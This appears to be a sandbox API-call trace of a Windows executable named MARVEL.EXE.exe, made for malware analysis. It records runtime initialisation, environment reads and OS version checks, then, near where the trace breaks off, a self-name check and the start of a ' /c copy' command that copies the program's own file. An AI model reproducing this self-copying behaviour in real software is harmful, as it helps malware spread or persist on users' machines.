\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÄgNFèþ\x18", lpUsedDefaultChar=0x0) returned 256 [0025.827] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0025.828] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f508, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0025.828] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0025.828] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f2f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0025.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18fbac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÄgNFèþ\x18", lpUsedDefaultChar=0x0) returned 256 [0025.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5c4918 [0025.831] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x492820, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\marvel.exe.exe")) returned 0x34 [0025.831] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3d) returned 0x5c61b0 [0025.831] RtlInitializeSListHead (in: ListHead=0x492198 | out: ListHead=0x492198) [0025.832] GetLastError () returned 0x0 [0025.832] SetLastError (dwErrCode=0x0) [0025.832] GetEnvironmentStringsW () returned 0x5c61f8* [0025.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0025.832] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x565) returned 0x5c6cd0 [0025.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5c6cd0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0025.850] FreeEnvironmentStringsW (penv=0x5c61f8) returned 1 [0025.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x98) returned 0x5c61f8 [0025.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1f) returned 0x5c6030 [0025.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x36) returned 0x5c6298 [0025.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x37) returned 0x5c62d8 [0025.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3c) returned 0x5c6318 [0025.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x31) returned 0x5c6360 [0025.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x17) returned 0x5c49a0 [0025.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x5c63a0 [0025.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x14) returned 0x5c63d0 [0025.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xd) returned 0x5bf010 [0025.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x25) returned 0x5c63f0 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x39) returned 0x5c7258 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x18) returned 0x5c6420 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x17) returned 0x5c6440 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xe) returned 0x5bf028 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x69) returned 0x5c6460 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3e) returned 0x5c72a0 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1b) returned 0x5c6058 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1d) returned 0x5c6080 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x48) returned 0x5c64d8 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x12) returned 0x5c6528 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x18) returned 0x5c6548 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1b) returned 0x5c60a8 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x5c6568 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x29) returned 0x5c6598 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1e) returned 0x5c60d0 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x41) returned 0x5c65d0 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x17) returned 0x5c6620 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xf) returned 0x5bf040 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x16) returned 0x5c6640 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2a) returned 0x5c6660 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x29) returned 0x5c6698 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x15) returned 0x5c66d0 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1e) returned 0x5c60f8 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2a) returned 0x5c66f0 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x12) returned 0x5c6728 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x18) returned 0x5c6748 [0025.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x46) returned 0x5c6768 [0025.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c6cd0 | out: hHeap=0x5b0000) returned 1 [0025.853] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0025.853] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0025.853] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0025.853] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0025.853] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0025.853] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0025.853] GetProcAddress (hModule=0x76e10000, lpProcName="InitOnceExecuteOnce") returned 0x76e3d627 [0025.853] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0025.853] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreW") returned 0x76e3ca5a [0025.853] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0025.853] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0025.853] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleEx") returned 0x76e3c78f [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandle") returned 0x76e4cbfc [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0025.854] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeConditionVariable") returned 0x77358456 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="WakeConditionVariable") returned 0x773c7de4 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="WakeAllConditionVariable") returned 0x7738409d [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableCS") returned 0x76ea4b32 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSRWLock") returned 0x77358456 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockExclusive") returned 0x773529f1 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77364892 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockExclusive") returned 0x773529ab [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableSRW") returned 0x76ea4b74 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWork") returned 0x76e3ee45 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="SubmitThreadpoolWork") returned 0x77398491 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWork") returned 0x7738d8e2 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0025.855] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0025.855] GetModuleHandleW (lpModuleName="api-ms-win-core-synch-l1-2-0.dll") returned 0x74580000 [0025.856] GetProcAddress (hModule=0x74580000, lpProcName="SleepConditionVariableCS") returned 0x76ea4b32 [0025.856] GetProcAddress (hModule=0x74580000, lpProcName="WakeAllConditionVariable") returned 0x7738409d [0025.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x800) returned 0x5c67b8 [0025.856] QueryPerformanceFrequency (in: lpFrequency=0x18ff28 | out: lpFrequency=0x18ff28*=100000000) returned 1 [0025.871] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff20 | out: lpPerformanceCount=0x18ff20*=16774246482) returned 1 [0025.871] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0025.873] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x42e1e8) returned 0x0 [0025.912] GetCurrentThread () returned 0xfffffffe [0025.912] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x18ff14, lpExitTime=0x18ff1c, lpKernelTime=0x18ff1c, lpUserTime=0x18ff1c | out: lpCreationTime=0x18ff14, lpExitTime=0x18ff1c, lpKernelTime=0x18ff1c, lpUserTime=0x18ff1c) returned 1 [0025.912] RtlInitializeSListHead (in: ListHead=0x492568 | out: ListHead=0x492568) [0025.917] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5c4918) returned 0x80 [0025.917] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4918, Size=0x100) returned 0x5c8e88 [0025.919] RtlInitializeConditionVariable () returned 0x492e8c [0025.919] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5c8e88) returned 0x100 [0025.919] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c8e88, Size=0x200) returned 0x5c6fc0 [0025.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5bf070 [0025.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x5c71c8 [0025.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20023) returned 0x5c8e88 [0025.939] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x5c8ea0, nSize=0xffff | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0025.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x5c4918 [0025.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5c4980 [0025.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x5e8eb8 [0025.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5e8f20 [0025.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c4980 | out: hHeap=0x5b0000) returned 1 [0025.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e8f58 [0025.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x48) returned 0x5e8fd0 [0025.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e8f20 | out: hHeap=0x5b0000) returned 1 [0025.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5e9020 [0025.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x5e9078 [0025.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e8fd0 | out: hHeap=0x5b0000) returned 1 [0025.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5e90e0 [0025.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5e9138 [0025.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9078 | out: hHeap=0x5b0000) returned 1 [0025.946] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5e9078 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5e91d0 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd8) returned 0x5e9228 [0025.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9138 | out: hHeap=0x5b0000) returned 1 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5e9138 [0025.947] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18fd8c, nSize=0x32 | out: lpBuffer="C:") returned 0x2 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5c83e8 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5c8410 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x138) returned 0x5e9308 [0025.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9228 | out: hHeap=0x5b0000) returned 1 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5c8438 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5e8f20 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5c8460 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c8) returned 0x5e9448 [0025.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9308 | out: hHeap=0x5b0000) returned 1 [0025.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8e88 | out: hHeap=0x5b0000) returned 1 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x5e9228 [0025.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x5b0000) returned 1 [0025.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x124fa3) returned 0x6b0020 [0025.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5e9618 [0025.962] GetVersionExW (in: lpVersionInformation=0x492f58*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x492f58*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0025.963] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0025.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40b641, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70 [0025.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5e9290 [0025.979] GetCurrentProcess () returned 0xffffffff [0025.979] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x0, lpBaseName=0x5e9290, nSize=0x104 | out: lpBaseName="MARVEL.EXE.exe") returned 0xe [0025.979] lstrcmpA (lpString1="MARVEL.EXE.exe", lpString2="Marvel.exe") returned 1 [0025.981] lstrcatA (in: lpString1="", lpString2=" /c copy \"" | out: lpString1=" /c copy \"") returned=" /c copy \"" [0025.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5e9958 [0025.981] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x5e9958, nSize=0x12c | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\marvel.exe.exe")) returned 0x34 [0025.981] lstrcatA (in: lpString1=" /c copy \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe" | out: lpString1=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe") returned=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe" [0025.982] lstrcatA (in: lpString1=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe", lpString2="\"" | out: lpString1=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\"") returned=" /c copy \"C:\\Users\\5p5NrGJn0jS 